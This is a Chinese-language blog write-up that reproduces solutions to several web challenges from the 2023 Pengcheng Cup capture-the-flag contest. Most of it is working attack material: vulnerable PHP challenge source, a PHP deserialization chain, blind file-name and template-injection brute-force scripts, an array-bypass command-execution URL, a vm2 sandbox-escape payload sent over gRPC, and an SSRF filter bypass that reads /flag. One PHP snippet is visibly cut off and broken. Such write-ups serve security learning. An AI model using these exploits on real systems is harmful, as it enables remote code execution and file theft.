2023鹏城杯复现

Web1

<?php
  show_source(__FILE__);
class Hacker{
  private $exp;
  private $cmd;

  public  function __toString()
  {
    call_user_func('system', "dir");
    return "";
  }
}

class A
{
  public $hacker;
  public  function __toString()
  {
    echo $this->hacker->name;
    return "";
  }
}
class C
{
  public $finish;
  public function __get($value)
  {
    $this->finish->hacker();
    echo 'nonono';
  }
}
class E
{
  public $hacker;

  public  function __invoke($parms1)
  {   
    echo $parms1;
    $this->hacker->welcome();
  }
}

class H
{
  public $username="admin";
  public function __destruct()
  {
    $this->welcome();

  }
  public  function welcome()
  {
    echo "welcome~ ".$this->username;
  }
}

class K
{
  public $func;
  public function __call($method,$args)
  {
    call_user_func($this->func,'welcome');
  }
}

class R
{
  private $method;
  private $args;

  public  function welcome()
  {
    if ($this->key === true && $this->finish1->name) {
      if ($this->finish->finish) {
        call_user_func_array($this->method,$this->args);
      }
    }
  }
}

function nonono($a){
  $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
  return preg_replace($filter,'',$a);
}

$a = $_POST["pop"];
if (isset($a)){
  unserialize(nonono($a));
}
  ?>
<?php

class H
{
    public $username="admin";
    public  function welcome()
    {
        echo "welcome~ ".$this->username;
    }
}
class Hacker{
    private $exp=1;
    private $cmd=2;

$hacker = new Hacker();
$h = new H();
$h->username= $hacker;

echo serialize($h);
?>

Web2

scandir可利用glob://协议判断文件名是否存在,从而盲注爆出backdoor.php文件名

import requests
import time

url = "http://172.10.0.5/index.php"
s = "abcdef0123456789"
fuck = ""

while 1:
    for c in s:
        pl = "glob:///var/www/html/backdoor_"+fuck+c+"*.php"
        # print(pl)
        data = {"Search": "Search Users", "filename": pl}
        res = requests.post(url=url, data=data)
        if "yes" in res.text:
            fuck += c
            print(fuck)
            # time.sleep(1)

<?php
highlight_file(__FILE__);

if(isset($_GET['username'])){
    $sandbox = 'D:\\Others\\phpstudy_pro\\WWW\\pcb.com\\Web2\\sandbox\\'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'\\';
    mkdir($sandbox);
    chdir($sandbox);
    
    if(isset($_GET['title'])&&isset($_GET['data'])){
        $data = $_GET['data'];
        $title= $_GET['title'];
        if (strlen($data)>5||strlen($title)>3){
            die("no!no!no!");
        }
        file_put_contents($sandbox.$title,$data);

        if (strlen(file_get_contents($title)) <= 10) {
            echo $sandbox.$title;
            system('php '.$sandbox.$title);
        }
        else{
            system('rm '.$sandbox.$title);
            die("no!no!no!");
        }

    }
    else if (isset($_GET['reset'])) {
        system('rd /s /q ' . $sandbox);
    }
}
?>

数组绕过,命令执行,注意php 命令行执行文件,不需要有.php后缀。

http://pcb.com/web2/backdoor.php?username=jasper&title=1&data[0]=%3c%3f%3d%60%64%69%72%60%3b

Escape

傻逼题目,赶紧 | 。

Tera

tera模板注入,过滤{{,导致只能盲注fuzz,主要是要去阅读Tera的官方文档

{% set f = "fl"~"ag" %}
{% set res =  get_env(name=f)%}
{% if res is starting_with("f")%}
fuck you
{% endif %}
import requests
import string

def get_flag(flag):
    payload = """
    {% set f = 'fl'~'ag' %}
    {% set res =  get_env(name=f)%}
    {% if res is starting_with(f~"&")%}
    fuck you
    {% endif %}
    """.replace("&", flag)
    res = requests.post("http://127.0.0.1:7878", payload).text
    if "fuck you" in res:
        return True
    else:
        return False


if __name__ == '__main__':
    s = string.printable.replace('"', " ").replace("'", " ")
    print(s)
    flag = ""
    while True:
        for c in s:
            if get_flag(flag+c):
                flag += c
                break
        print(flag)


image.png
环境搭建
https://juejin.cn/post/6970325156052860935
https://ctftime.org/writeup/37702
https://keats.github.io/tera/docs/#built-in-tests

simple_rpc

less模板语言读文件,内容会回显在CSS样式里,p牛文章里有提到:https://tttang.com/archive/1714/

.test {
  content: data-uri('rpc.js');
}

less=payload,依次读以下文件,最后拿到Web源码:

  • /app/app.js
  • /app/rpc.js
  • /app/eval.proto
  • /app/package.json

simple_rpc.tar.gz
"vm2": "3.9.15",存在沙盒逃逸的RCE,下面链接有payload:https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c
image.png
rpc server在这里会在沙盒里运行rpc client传过来的request,这里请求传沙盒逃逸payload即可RCE
image.png
最终exp如下,这里只执行了whoami确定是有回显的,比赛时读/flag即可。

var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var PROTO_PATH = __dirname + '/eval.proto';
var packageDefinition = protoLoader.loadSync(
    PROTO_PATH,
    {keepCase: true,
        longs: String,
        enums: String,
        defaults: true,
        oneofs: true
    });
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;

function main() {
    var client = new hello_proto.Demo('127.0.0.1:8082', grpc.credentials.createInsecure())
    client.evalTemplate({ message: 'Hello',template: `aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami');
}` }, function(err, response) {
        if (err) {
            console.error('Error: ', err)
        } else {
            console.log(response)
        }
    })
}

main()

image.png

HTTP

这题复现不来,不知道为什么用url:file绕过,下面是Lxxx师傅的WP。
swagger-ui信息泄露

/swagger-ui/index.html#/Proxy/proxyUsingGET

image.png
ssrf读文件,过滤了file、netdoc打头的参数,用url:file绕过(卡在这一步)

/proxy/url?url=url:file:///flag%23html

posted @ 2023-12-06 22:00  Jasper_sec  阅读(38)  评论(0编辑  收藏  举报